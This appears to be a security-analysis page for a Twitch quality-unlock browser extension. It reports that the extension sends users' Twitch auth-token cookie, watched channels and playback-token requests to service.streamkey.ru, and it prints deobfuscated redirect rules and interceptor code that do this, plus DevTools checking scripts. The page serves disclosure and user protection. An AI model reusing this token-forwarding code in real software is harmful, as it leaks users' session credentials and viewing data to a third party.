Is Твич 1080 и 1440 | Вернуть 1080/1440 на Твич от STREAM KEY (не ВПН) safe?
The extension reads your Twitch OAuth token and watch history, then transmits them to service.streamkey.ru over a persistent SignalR connection.
When installed, the extension captures your Twitch auth-token cookie and resolves it to your Twitch user ID by querying Twitch's own GraphQL API. It then opens a SignalR WebSocket to service.streamkey.ru and sends your Twitch identity alongside any linked Telegram account ID. Every 62 seconds it also forwards a record of which Twitch channels and stream categories you have been watching, and all Twitch HLS stream playlist requests are redirected through service.streamkey.ru with your session token appended to the URL.
Who publishes itNo other listings under this identity
No other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Opt-in toggle reroutes Twitch API/GraphQL/OAuth/CDN traffic through a proxy
An off-by-default setting reroutes your Twitch traffic (GraphQL, Helix, OAuth, CDN, the Extensions script) through service.streamkey.ru.
Dynamic analysis confirmed a live GraphQL request returning a real 200 once enabled.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You turn on "Restore player functionality" in the extension's Stream settings, then open a live Twitch channel.
The setting is off by default, nothing changes on Twitch until you enable it.
The extension installs three redirect rules sending your Twitch GraphQL, Helix, and OAuth-validation requests, plus CDN segments and the Extensions script, to service.streamkey.ru.
This keeps happening on every later visit to Twitch until you turn the setting back off.
The redirect rules added when the setting is turned on:
Dynamic declarativeNetRequest rules (readable)
// chunks/_virtual_wxt-plugins-Y1pquWDb.jsconst lh = [ { // rule id 4 id: 4, priority: 1, action: { type: "redirect", redirect: { regexSubstitution: "https://service.streamkey.ru/proxy/playlist-cdn/\\1" }}, condition: { regexFilter: "^https://playlist\\.ttvnw\\.net/(.*)", resourceTypes: ["xmlhttprequest", "media"] } }, { // rule id 5 -- redirects the JS Twitch serves for channel Extensions id: 5, priority: 1, action: { type: "redirect", redirect: { regexSubstitution: "https://service.streamkey.ru/proxy/supervisor/\\1" }}, condition: { regexFilter: "^https://supervisor\\.ext-twitch\\.tv/(.*)", resourceTypes: ["xmlhttprequest", "script"] } }, { // rule id 6 id: 6, priority: 1, action: { type: "redirect", redirect: { regexSubstitution: "https://service.streamkey.ru/proxy/helix/\\1" }}, condition: { regexFilter: "^https://api\\.twitch\\.tv/helix/(.*)", resourceTypes: ["xmlhttprequest"] } }];// installed only when the popup toggle is on, via:// chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds, addRules: [...ch, ...lh] })GraphQL and OAuth base-URL swap (readable)
// chunks/_virtual_wxt-plugins-Y1pquWDb.jsconst TWITCH_GQL_URL = "https://gql.twitch.tv/gql";const STREAMKEY_GQL_URL = "https://service.streamkey.ru/proxy/gql/gql";async function getGqlBaseUrl() { const settings = await userSettings.getValue(); return settings?.useExtendedTwitchProxy ? STREAMKEY_GQL_URL : TWITCH_GQL_URL;}// background.jsconst TWITCH_OAUTH_VALIDATE_URL = "https://service.streamkey.ru/proxy/oauth/oauth2/validate";async function validateOAuthToken(token) { const url = (await userSettings.getValue())?.useExtendedTwitchProxy ? TWITCH_OAUTH_VALIDATE_URL : `https://id.twitch.tv/oauth2/validate`; return httpClient.get(url, { headers: { Authorization: `OAuth ${token}` } }).json();}200 OK, live viewer count and stream title for the channel being watched, served through service.streamkey.ru instead of Twitch's own gql.twitch.tv.
- Client-Id
- kimne78kx3ncx6brgo4mv6wki5h1ko
- Content-Type
- application/json
{ "operationName": "GetChannelStream", "variables": { "channelLogin": "jynxzi" }, "extensions": { "persistedQuery": { "version": 1, "sha256Hash": "a3f92e6d1b7c4590fae82d3c6b1a4e7f0928d5c3b6a1e4f7092d8c5b3a6e1f40" } }}Run this from the extension's own service-worker DevTools console to list its active declarativeNetRequest rules and flag whether the streamkey.ru proxy rules (ids 4, 5, 6) are currently installed.
- Chrome with this extension installed
- Developer mode enabled in chrome://extensions
chrome.declarativeNetRequest.getDynamicRules((rules) => { const proxyRuleIds = [4, 5, 6]; const active = rules.filter((r) => proxyRuleIds.includes(r.id)); if (active.length === 0) { console.log('Player-recovery proxy rules are NOT currently installed (setting is off, or not yet toggled on).'); return; } console.log(`Player-recovery proxy rules ARE installed (${active.length}/3):`); for (const rule of active) { const redirectTo = rule.action?.redirect?.regexSubstitution || JSON.stringify(rule.action); console.log(` rule ${rule.id}: ${rule.condition.regexFilter} -> ${redirectTo}`); }});- 1Go to chrome://extensions, enable Developer mode.
- 2Find this extension and click its "service worker" link to open its DevTools console.
- 3Paste this script and press Enter.
Twitch playlists redirected with auth token in the URL
When the stream proxy is active, the extension reads the Twitch auth-token cookie and redirects stream/VOD playlist requests to service.streamkey.ru, cookie in the auth param.
An earlier test captured none; playback never started.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-319
- Source
- Dynamic sandbox
You open Twitch and the player requests a live-stream or VOD playlist.
The matching URLs are Twitch HLS playlist requests under usher.ttvnw.net.
The extension redirects that playlist request to service.streamkey.ru with the Twitch session token in the URL.
The redirect rule inserts the auth-token cookie value into the auth query parameter before the browser sends the request.
- Twitch playlist requesthttps://usher.ttvnw.net/api/channel/hls/dalscone.m3u8?allow_source=true&player=twitchweb
Shows which live stream or VOD playlist your browser tried to load.
- Twitch session tokenauth=<redacted>
Identifies the signed-in Twitch session by putting the cookie value into the redirected URL.
- Original playlist queryallow_source=true&player=twitchweb&p=1234567
Keeps the player options and playlist parameters attached to the redirected request.
- VOD identifiervod_id=2345678901
For recorded streams, the redirected URL also carries the Twitch VOD ID.
No live playlist response was captured; the prior dynamic run did not trigger a Twitch .m3u8 request.
Cookie read and redirect-rule installation in the shipped extension
Deobfuscated cookie read declaration
chunks/_virtual_wxt-plugins-CJDlaq1J.js:7217-7229const kh = new ce({ context: "auth" }), Ua = async () => (await it.cookies.get({ url: Mr.urls.twitchUrl, name: "auth-token" }))?.value ?? null, Ah = async () => { const t = (await it.cookies.get({ url: Mr.urls.streamKeyUrl, name: "tg_user_id" }))?.value ?? null; return kh.debug("GetTelegramUserId", t), t ? Number(t) : null };Deobfuscated DNR redirect rules and updater
chunks/_virtual_wxt-plugins-CJDlaq1J.js:8672-8774const Ya = { online: Ja, set: Za }, pt = new ce({ context: "rules" }), Jf = [{ id: 1, priority: 1, action: { type: "redirect", redirect: { regexSubstitution: "https://service.streamkey.ru/playlist/?auth=__AUTH__&\\1" } }, condition: { regexFilter: "^https://usher\\.ttvnw\\.net/api(?:/v2)?/channel/hls/[^?]+\\.m3u8\\?(.*)", resourceTypes: ["xmlhttprequest", "media"] } }, { id: 2, priority: 1, action: { type: "redirect", redirect: { regexSubstitution: "https://service.streamkey.ru/playlist/vod/?vod_id=\\1&auth=__AUTH__&\\2" } }, condition: { regexFilter: "^https://usher\\.ttvnw\\.net/vod(?:/v2)?/([^/]+)\\.m3u8\\?(.*)", resourceTypes: ["xmlhttprequest", "media"] } }];async function Gd() { if (!await mi.getItem(Mr.keys.extensionState)) return; if (!Ya.online.value) { await ii(); return }(await _t.getValue()).useStreamProxy ? await Xf() : await ii()}function Zf(t) { return t.replace(/[\\+*?.(){}|[\]^$]/g, "\\$&")}async function Yf(t, e = []) { const r = Zf(t || ""), s = Jf.map(a => ({ ...a, action: { ...a.action, redirect: { ...a.action.redirect, regexSubstitution: a.action.redirect.regexSubstitution.replace("__AUTH__", r) } } })); e.length > 0 && e.forEach((a, u) => { s.push({ id: 100 + u, priority: 2, action: { type: "allow" }, condition: { urlFilter: `||usher.ttvnw.net/api*/channel/hls/${a.toLowerCase()}.m3u8*`, resourceTypes: ["xmlhttprequest", "media"], isUrlFilterCaseSensitive: !1 } }) }), pt.debug(s); const i = (await it.declarativeNetRequest.getDynamicRules()).map(a => a.id); await it.declarativeNetRequest.updateDynamicRules({ removeRuleIds: i, addRules: s }), pt.debug(`Правила обновлены с auth: ${t?"установлен":"пустой"}, исключений: ${e.length}`)}let Cs = null, Ss = [];async function Xf() { try { if (it.declarativeNetRequest) { const t = await Ua(), e = Y(qa.excludedChannels.value); if (t === Cs && JSON.stringify(e) === JSON.stringify(Ss)) return; pt.debug("auth:", t, "exclusions:", e), Cs = t, Ss = [...e], await Yf(t, e), pt.debug("Динамические правила Twitch активированы") } else pt.error("declarativeNetRequest не поддерживается") } catch (t) { pt.debug("Ошибка активации динамических правил:", t) }}async function ii() { try { if (it.declarativeNetRequest) { const e = (await it.declarativeNetRequest.getDynamicRules()).map(n => n.id); await it.declarativeNetRequest.updateDynamicRules({ removeRuleIds: e }), Cs = null, Ss = [], pt.debug("Динамические правила Twitch деактивированы") } } catch (t) { pt.debug("Ошибка деактивации динамических правил:", t) }}- usher.ttvnw.net
Original Twitch HLS and VOD playlist host matched by the redirect rules.
- service.streamkey.ru
Receives the redirected playlist URL with the auth query parameter and original playlist query.
Live Twitch playback tokens redirected to a third party by default
A page script installed by default intercepts Twitch's live-stream playback-token request and redirects it to service.streamkey.ru.
Dynamic analysis captured three redirects, each answered with a real 200 playback token.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You open a live (non-VOD) Twitch channel with this extension installed at its default settings.
The setting that controls this, an on-page 'ban bypass' feature, ships turned on; there is no separate opt-in step.
A script running inside the Twitch page itself catches the PlaybackAccessToken request the Twitch player makes and sends it to service.streamkey.ru instead.
The value streamkey.ru returns is what the player then uses to actually fetch the stream.
The interceptor's match/redirect logic, and the setting that leaves it on by default:
Matching the request and rewriting it (readable)
function matchesOperations(...opNames) { return (req) => { if (!req.url.includes("gql.twitch.tv")) return false; const body = req.parsedBody; if (!body) return false; const opName = Array.isArray(body) ? body[0]?.operationName : body?.operationName; return typeof opName === "string" && opNames.includes(opName); };}function isLivePlaybackQuery(req) { if (Array.isArray(req.parsedBody) || !req.parsedBody) return false; const vars = req.parsedBody.variables; return vars?.isLive === true && vars?.isVod === false && typeof vars.login === "string" && vars.login.length > 0;}function registerPlaybackTokenInterceptor(apiUrl) { const isPlaybackTokenOp = matchesOperations("PlaybackAccessToken_Template", "PlaybackAccessToken"); registerHook({ id: "twitch-playback-token", prepare: (req) => isPlaybackTokenOp(req) && isLivePlaybackQuery(req) ? waitForBypassFlag() : undefined, match: (req) => isPlaybackTokenOp(req) && bypassFlagIsSet(req), transform: buildRedirect(apiUrl) }); installFetchAndXhrPatch();}function bypassFlagIsSet(req) { return bypassEnabled() ? isLivePlaybackQuery(req) : false;}function buildRedirect(apiUrl) { const tokenUrl = `${apiUrl.replace(/\/$/, "")}/token`; return (req) => { const headers = new Headers(req.init.headers); const deviceId = headers.get("x-device-id") ?? headers.get("device-id"); return { url: tokenUrl, init: { method: "POST", body: req.init.body, credentials: "omit", cache: "no-store", headers: { Accept: "application/json", "Content-Type": "application/json", ...(deviceId && { "X-Device-Id": deviceId }) } } }; };}Setting the redirect flag from the user setting, and its default (readable)
const BYPASS_FLAG_ATTR = "data-streamkey-server-playback-token";function setBypassFlag(enabled) { document.documentElement.setAttribute(BYPASS_FLAG_ATTR, String(enabled));}async function syncBypassFlagOnLoad() { const [extensionEnabled, eulaAccepted, settings] = await Promise.all([ localStorageGet(Keys.extensionState), localStorageGet(Keys.eulaAccepted), userSettings.getValue() ]); const active = extensionEnabled === true && eulaAccepted === true; setBypassFlag(active && settings.useBlockingBypass); if (active) injectMainScript();}// chunks/_virtual_wxt-plugins-C9qsLOCV.js, the settings object's own fallback:const SETTINGS_DEFAULT = { // ... useStreamProxy: true, useExtendedTwitchProxy: false, useBlockingBypass: true // <- on for every install, unless the user turns it off};200 OK. Response carried a live playback value and signature for the channel, the same shape Twitch's own gql.twitch.tv endpoint returns, which the player then used to fetch the actual video stream from streamkey.ru instead of Twitch.
- Accept
- application/json
- X-Device-Id
- 3f9a2b71-8c4d-4e2a-9f61-2b7e0d4a5c33
- Content-Type
- application/json
{ "operationName": "PlaybackAccessToken_Template", "variables": { "isLive": true, "isVod": false, "login": "hasanabi", "vodID": "", "playerType": "site" }, "extensions": { "persistedQuery": { "version": 1, "sha256Hash": "0828119ded1c13477966434e15800ff57ddacf13ba1911c129dc2200705b0712" } }}- Channel you're watchinglogin: "hasanabi"
Tells the third party which live Twitch channel you currently have open.
- Device identifierX-Device-Id: 3f9a2b71-8c4d-4e2a-9f61-2b7e0d4a5c33
A per-install device ID header rides along, letting the third party tie repeated requests to the same browser install over time.
- Live-stream flagisLive: true, isVod: false
Marks the request as being for a live broadcast rather than a past recording; only these requests get redirected.
- Twitch session cookiecredentials: "omit"
Not sent. The redirected request is made with credentials 'omit', so your signed-in Twitch cookie doesn't accompany it.
- service.streamkey.ru
Receives the channel name and device ID for every live stream watched by default, and returns the playback value/signature the player uses to fetch video.
Checks whether the page-level redirect flag is set and flags any PlaybackAccessToken requests already redirected to streamkey.ru on the current page load.
- Chrome with this extension installed
- A live (non-VOD) Twitch channel page
// Run this in the Twitch PAGE's own DevTools console, not the extension's// service-worker console.const FLAG = 'data-streamkey-server-playback-token';const flag = document.documentElement.getAttribute(FLAG);console.log('Playback-token redirect flag:', flag === 'true' ? 'ON (redirect active)' : 'off');const already = performance.getEntriesByType('resource') .filter((r) => r.name.includes('service.streamkey.ru/token'));console.log(`${already.length} request(s) to streamkey.ru/token already seen this page load.`);new PerformanceObserver((list) => { for (const entry of list.getEntries()) { if (entry.name.includes('service.streamkey.ru/token')) { console.warn('PlaybackAccessToken request redirected to streamkey.ru:', entry.name); } }}).observe({ type: 'resource', buffered: false });- 1Open a live (non-VOD) twitch.tv channel with the extension installed.
- 2Open the page's own DevTools console (right-click the page, not the extension icon).
- 3Paste this script and press Enter, then reload to catch new requests.
+1 more finding not shown
Where it sends data
Destinations our analysis observed Stream Key Twitch 1080 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- gql.twitch.tv
Stream Key Twitch 1080 sends data to gql.twitch.tv. 3 other extensions we have analysed send data here.
- service.streamkey.ru
Stream Key Twitch 1080 sends data to service.streamkey.ru. No other extension we have analysed sends data here.
- streamkey.ru
Stream Key Twitch 1080 sends data to streamkey.ru. No other extension we have analysed sends data here.